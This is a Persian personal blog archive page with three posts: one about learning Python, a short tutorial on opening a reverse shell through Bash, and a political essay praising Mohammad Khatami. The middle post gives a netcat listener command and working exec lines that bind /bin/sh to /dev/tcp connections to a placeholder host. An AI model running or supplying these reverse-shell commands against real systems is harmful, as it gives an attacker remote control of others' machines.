سابون

مهم نیست صابون را با «ص» بنویسیم یا با «س» ، مهم آنست که کف کند.

Archive for اسفند, ۱۳۸۷

ثابون و پایتون

پایتون یک زبان برنامه نویسی تفسیری ، داینامیک و شی گرا می باشد که می توان از آن در محدودی وسعی از نرم افزار ها و تکنولوژی ها بهره برد . این زبان برنامه نویسی روشهای بسیار قدرتمند و حرفه ای را برای کار با زبانها و ابزار های مختلف را با آسانی هر چه تمام تر فراهم می کند . بدین منظور این زبان داره کتابخانه هایی بسیار گسترده می باشد که یادگیری و استفاده از آنها در عرض چند روز ممکن می باشد ! پایتون همچنین یک زبان بر اساس مجوز های نرم افزار آزاد و اپن سورس می باشد . کد های نوشته شده در این زبان در محدوده ای وسیع از پلتفرم ها چون لینوکس ، ویندوز ، مک ، و حتی گوشی های موبایل و … قابل اجرا می باشد . همکنون پایتون در شرکت ها و سازمانهای بزرگی چون ناسا ، گوگل ، یاهو و … بصورت گسترده مورد استفاده قرار می گیرد .

+ دو شب پیش به سَرم زد پایتون رو کامل تموم کنم با تمامی جوانب و دل و روده اش!باید بگم خدا قوت!الان کم کم دارم احساس میکنم که قورتش دادم.واقعا دریچه ی جدیدی به روی صنعت برنامه نویسی ذهنی ام باز شد!عیدی خوبی بود قبلِ عید برای خودم.

Share

صابون و Reverse Shell Via Bash

در ابتدا باید Port ی را فالگوش کنید که NetCat این مشکل را حل خواهد کرد:

nc -l -p 8080 -vv

مرحله بعدی باید دستور زیر رو اجرا کنید:

exec 5<>/dev/tcp/Hostname.com/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

دستور بالا مقداری پیچیده است،بنابراین می توانیم آن را به صورت زیر تبدیل کنیم:

exec 0</dev/tcp/hostname.com/port

اینجا ارتباط خارج از Stdin هست:

exec 1>&0

کپی شدن Stdin بهStdout

exec 2>&0

و در اخر کپی شدن Stdin به Stderr

یا اینکه دستورهای بالا رو با هم ترکیب کنیم و چیزی شبیه زیر بسازیم:

exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

Share

صابون و مرز میان آنارشیسم و سوسیالیسم.

بعضی ها ساده می آیند و بی آنکه جای دیگران را تنگ کنند، چنان خودشان را در دل مردمان جا می کنند که می شوند عادت روزانه زندگی و نام شان چنان عادت می شود که گاهی ممکن است ناخودآگاه برزبانش بیاوری. خاتمی عادت زیبای زمان ما بود که هشت سال چراغ خانه سوت و کور ایران را روشن کرد، با مهربانی آمد و با مهربانی رفت. وقتی که آمد پر از امید و شور و خنده و شادی بود. و چندی که ماند انگار که خاری است در چشم شیطان. هر روز برایش فاجعه ای آفریدند و هر روز برایش حادثه ای را ساختند. گاه خشمگین شد و تندخویی کرد و گاه نرمخو شد و بردباری کرد. خودش گفته بود که برایمان تسامح و تساهل را هدیه آورده است. عجیب که ما از مردی که اهل تسامح و تساهل بود خواستیم که بجنگد. از مردی که جنگ را نفرت داشت. وقتی دور اول ریاست جمهوری اش تمام شد، نمی خواست بماند و باز هم بر صندلی قدرت بنشیند، مجبورش کردیم، اصرار کردیم، اشکش را درآوردیم و سرانجام با گریه ثبت نام کرد. گریست چون می دانست میان زیبایی ذاتی او و زشتی ذاتی سیاست فاصله ای عمیق است که جز با رنج های او پر نمی شود. گریست چون می دانست نخواهند گذاشت در این چهار سال آب خوش از گلویش پائین برود و ما مردم از او خواستیم که سایه اش را بالای سر ما نگه دارد و در عوض خنده هایش را از او گرفتیم. آخرین روزهای خاتمی، باز هم مثل روزهای اول شده بود. خنده بر لب هایش بود، اما این خنده از جنس خنده های روزهای اول نبود. خنده شادمانی رها شدن از بار امانتی بود که هشت سال بر دوشش نهاده بودیم. خاتمی وقتی رفت که هنوز محبوب ترین شخصیت ملت ایران است.

آدمهایی هستند که بزرگتر از اندازه های انسانی در جامعه ظاهر می شوند. خاتمی یکی از آنهاست. کسی که حتی دشمنانش نیز نمی توانند با بی حرمتی نامش را ببرند و حتی کسانی که تند ترین انتقادها را از او کردند، حالا دیگر نمی توانند بزرگی های بی نظیر او را بیاد نیاورند. شاید این شانس خاتمی بود که مردم بعد از رفتنش صندلی او را در اختیار کسی ببینند که دیدنش ناخودآگاه ما را متوجه بزرگی های خاتمی می کند. جهت مطالعه ادامه سابون کاری کلیک کنید »

Share
« برگی دیگر از صفحات صابوني · برگی دیگر از صفحات سابوني »